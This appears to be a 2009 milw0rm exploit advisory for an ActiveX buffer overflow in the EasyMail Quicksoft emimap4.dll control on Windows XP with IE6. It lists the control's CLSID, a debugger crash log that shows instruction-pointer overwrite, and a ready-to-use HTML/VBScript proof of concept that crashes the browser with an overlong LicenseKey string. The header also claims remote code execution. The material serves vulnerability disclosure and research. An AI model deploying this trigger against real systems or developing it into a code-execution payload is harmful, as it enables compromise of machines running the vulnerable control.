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Application:  EasyMail Quicksoft 6.0.2.0

Platforms:    Windows XP Professional French SP2

crash:	      IE 6.0.2900.2180


Exploitation: remote Code Execution

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)


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1) Introduction
2) Technical details and bug
3) The Code

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===============
1) Introduction
===============

Create, send, download, parse, print and store internet email messages in your classic windows application.  Designed for Visual Basic, ASP, C++, Delphi, ColdFusion, PowerBuilder, Access and other development environments.  COM or standard DLL interfaces.  This is the software that processes hundreds of millions of email messages on the Internet every day.

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============================
2) Technical details
============================

Name:	emimap4.dll
Ver.:	6.0.2.0
CLSID:	{0CEA3FB1-7F88-4803-AA8E-AD021566955D}

ModLoad: 037f0000 0381e000   C:\WINDOWS\system32\emimap4.dll
(2088.2388): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0380c878 ecx=0012df70 edx=00000039 esi=0033df18 edi=0033e14c
eip=41414141 esp=0012df88 ebp=41414141 iopl=0         nv up ei pl zr na pe nc





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===========
3) The Code
===========

Proof of concept DoS code;

<HTML>
<object classid='clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D' id='target'></object>
<script language = 'vbscript'>



  Scrap  =   unescape("http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")


  code = Scrap


  target.LicenseKey = code


</script>
<html>
~



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# milw0rm.com [2009-09-15]